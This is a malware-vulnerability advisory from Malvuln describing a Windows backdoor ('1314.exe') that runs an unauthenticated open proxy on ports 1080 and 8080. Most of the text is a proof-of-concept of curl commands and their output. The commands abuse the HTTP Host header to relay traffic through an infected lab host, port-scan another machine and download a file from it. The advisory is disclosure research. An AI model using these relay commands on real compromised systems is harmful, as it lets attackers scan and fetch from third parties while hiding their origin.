Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d7648b676dd139d1b7ba781816726510.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Generic
Vulnerability: Unauthenticated Open Proxy
Description: The backdoor creates a Windows service backed by an executable named "1314.exe", it lives under C:\WINDOWS and listens on TCP ports 1080 and 8080. Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.
Type: PE32
MD5: d7648b676dd139d1b7ba781816726510
Vuln ID: MVID-2021-0176
Dropped files: 1314.exe
Disclosure: 04/17/2021

Exploit/PoC:
Port scanning / File download:

PORT 21 CLOSED:

curl http://192.168.88.127:8080 -H "Host: 192.168.88.129:21"  -v
* Rebuilt URL to: http://192.168.88.127:8080/
*   Trying 192.168.88.127...
* TCP_NODELAY set
* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.88.129:21
> User-Agent: curl/7.55.1
> Accept: */*
>
* Empty reply from server
* Connection #0 to host 192.168.88.127 left intact
curl: (52) Empty reply from server

PORT 21 OPEN:

curl http://192.168.88.127:8080 -H "Host: 192.168.88.129:21"  -v
* Rebuilt URL to: http://192.168.88.127:8080/
*   Trying 192.168.88.127...
* TCP_NODELAY set
* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.88.129:21
> User-Agent: curl/7.55.1
> Accept: */*
>
220 INetSim FTP Service ready.
500 Unknown command.

PORT 110 OPEN

curl http://192.168.88.127:8080 -H "Host: 192.168.88.129:110"  -v
* Rebuilt URL to: http://192.168.88.127:8080/
*   Trying 192.168.88.127...
* TCP_NODELAY set
* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.88.129:110
> User-Agent: curl/7.55.1
> Accept: */*
>
+OK INetSim POP3 Server ready <2433.1618704869@pop3host>
-ERR Unknown command.

DOWNLOAD FILES

curl http://192.168.88.127:8080/DOOM.exe -H "Host: 192.168.88.129:2222"  --output 666.exe -v
*   Trying 192.168.88.127...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0> GET /DOOM.exe HTTP/1.1
> Host: 192.168.88.129:2222
> User-Agent: curl/7.55.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/2.7.6
< Date: Sun, 18 Apr 2021 00:19:01 GMT
< Content-type: application/x-msdos-program
< Content-Length: 103533
< Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT
<
{ [102194 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01  587k
* Closing connection 0


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